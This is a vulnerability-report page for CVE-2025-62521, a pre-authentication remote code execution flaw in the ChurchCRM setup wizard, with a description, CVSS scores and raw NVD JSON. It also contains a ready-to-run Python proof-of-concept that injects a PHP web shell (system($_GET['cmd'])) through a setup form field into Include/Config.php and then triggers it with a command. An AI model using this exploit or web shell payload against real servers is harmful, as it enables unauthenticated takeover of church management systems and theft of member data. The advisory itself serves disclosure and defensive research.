Security Vulnerability Report
中文
CVE-2025-62521 CVSS 10.0 CRITICAL

CVE-2025-62521

Published: 2025-12-17 19:16:10
Last Modified: 2025-12-18 19:10:00

Description

ChurchCRM is an open-source church management system. Prior to version 5.21.0, a pre-authentication remote code execution vulnerability in ChurchCRM's setup wizard allows unauthenticated attackers to inject arbitrary PHP code during the initial installation process, leading to complete server compromise. The vulnerability exists in `setup/routes/setup.php` where user input from the setup form is directly concatenated into a PHP configuration template without any validation or sanitization. Any parameter in the setup form can be used to inject PHP code that gets written to `Include/Config.php`, which is then executed on every page load. This is more severe than typical authenticated RCE vulnerabilities because it requires no credentials and affects the installation process that administrators must complete. Version 5.21.0 patches the issue.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* - VULNERABLE
ChurchCRM < 5.21.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-62521 PoC - ChurchCRM Pre-Auth RCE via Setup Wizard # Target: ChurchCRM < 5.21.0 # Vulnerability: Unauthenticated RCE via setup.php configuration injection TARGET = "http://target-server/churchcrm" PAYLOAD = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" def exploit(): print(f"[*] Targeting: {TARGET}") print(f"[*] Attempting RCE injection...") # Step 1: Initialize setup session setup_url = f"{TARGET}/setup/routes/setup.php" # Step 2: Inject PHP payload via form parameter # The 'sHostname' or any form field can be used for injection data = { 'action': 'save', 'sHostname': PAYLOAD, # Injecting PHP code 'sUser': 'root', 'sPassword': 'password', 'sName': 'churchdb', 'bNewDatabase': 'true' } try: response = requests.post(setup_url, data=data, timeout=10) print(f"[+] Request sent, status: {response.status_code}") # Step 3: Trigger the injected payload config_url = f"{TARGET}/Include/Config.php" trigger = requests.get(config_url, params={'cmd': 'whoami'}) if trigger.status_code == 200: print(f"[+] VULNERABLE! RCE confirmed") print(f"[+] Config file accessible at: {config_url}") else: print(f"[-] Target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62521", "sourceIdentifier": "[email protected]", "published": "2025-12-17T19:16:09.600", "lastModified": "2025-12-18T19:10:00.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ChurchCRM is an open-source church management system. Prior to version 5.21.0, a pre-authentication remote code execution vulnerability in ChurchCRM's setup wizard allows unauthenticated attackers to inject arbitrary PHP code during the initial installation process, leading to complete server compromise. The vulnerability exists in `setup/routes/setup.php` where user input from the setup form is directly concatenated into a PHP configuration template without any validation or sanitization. Any parameter in the setup form can be used to inject PHP code that gets written to `Include/Config.php`, which is then executed on every page load. This is more severe than typical authenticated RCE vulnerabilities because it requires no credentials and affects the installation process that administrators must complete. Version 5.21.0 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.21.0", "matchCriteriaId": "A7C67565-D8E2-427E-9B54-6B6F3DCC7BCD"}]}]}], "references": [{"url": "https://github.com/ChurchCRM/CRM/security/advisories/GHSA-m8jq-j3p9-2xf3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}